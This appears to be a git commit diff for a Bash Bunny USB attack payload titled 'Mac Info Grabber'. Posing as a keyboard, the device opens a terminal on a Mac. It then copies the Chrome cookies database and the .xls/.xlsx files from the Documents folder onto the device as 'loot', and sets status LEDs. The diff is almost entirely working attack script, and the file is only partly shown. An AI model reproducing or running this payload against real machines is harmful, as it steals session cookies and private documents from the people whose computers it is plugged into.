Add files via upload
parent
dfeb225409
commit
f0fff03845
|
@ -1,17 +1,33 @@
|
||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# Title: Mac Info Grabber
|
||||||
|
# Author: kmakblob
|
||||||
|
# Version: 1.1
|
||||||
|
#
|
||||||
|
# Steaks cookies from chrome and documents from the documents folder (spreadsheets)
|
||||||
|
# then stashes them in /root/udisk/loot/MacLoot
|
||||||
|
#
|
||||||
|
# Red................Failed to get spreadsheets
|
||||||
|
# Purple.............Got some spreadsheets
|
||||||
|
# Green..............Finished
|
||||||
|
#
|
||||||
|
|
||||||
LED R
|
LED R
|
||||||
ATTACKMODE HID STORAGE
|
ATTACKMODE HID STORAGE
|
||||||
|
LOOTDIR=/root/udisk/loot/MacLoot
|
||||||
|
mkdir -p $LOOTDIR
|
||||||
QUACK GUI SPACE
|
QUACK GUI SPACE
|
||||||
QUACK DELAY 1000
|
QUACK DELAY 1000
|
||||||
QUACK STRING terminal
|
QUACK STRING terminal
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
QUACK DELAY 8000
|
QUACK DELAY 8000
|
||||||
QUACK STRING mkdir -p /Volumes/BashBunny/payloads/$SWITCH_POSITION/MacLoot/xlsx
|
QUACK STRING mkdir -p /Volumes/BashBunny/$LOOTDIR/xlsx
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
QUACK DELAY 500
|
QUACK DELAY 500
|
||||||
QUACK STRING cat ~/Library/Application Support/Google/Chrome/Default/Cookies > /Volumes/BashBunny/payloads/$SWITCH_POSITION/MacLoot/chromecookies.db
|
QUACK STRING cat ~/Library/Application Support/Google/Chrome/Default/Cookies > /Volumes/BashBunny/$LOOTDIR/chromecookies.db
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
QUACK DELAY 1000
|
QUACK DELAY 1000
|
||||||
QUACK STRING cd ~/Documents && cp *.xlsx *.xls /Volumes/BashBunny/payloads/$SWITCH_POSITION/MacLoot/xlsx/
|
QUACK STRING cd ~/Documents && cp *.xlsx *.xls /Volumes/BashBunny/$LOOTDIR/xlsx/
|
||||||
QUACK ENTER
|
QUACK ENTER
|
||||||
QUACK DELAY 1000
|
QUACK DELAY 1000
|
||||||
QUACK GUI q
|
QUACK GUI q
|
||||||
|
@ -21,8 +37,8 @@ QUACK ENTER
|
||||||
# Green LED for finished
|
# Green LED for finished
|
||||||
LED G
|
LED G
|
||||||
|
|
||||||
files=$(ls /Volumes/BashBunny/payloads/$SWITCH_POSITION/MacLoot/xlsx/*.xls 2> /dev/null | wc -l)
|
files=$(ls /Volumes/BashBunny/$LOOTDIR/xlsx/*.xls 2> /dev/null | wc -l)
|
||||||
files2=$(ls /Volumes/BashBunny/payloads/$SWITCH_POSITION/MacLoot/xlsx/*.xlsx 2> /dev/null | wc -l)
|
files2=$(ls /Volumes/BashBunny/$LOOTDIR/xlsx/*.xlsx 2> /dev/null | wc -l)
|
||||||
if [ "$files" != "0" -o "$files2" != "0"]
|
if [ "$files" != "0" -o "$files2" != "0"]
|
||||||
then
|
then
|
||||||
# Got spreadsheet files
|
# Got spreadsheet files
|
||||||
|
|
Loading…
Reference in New Issue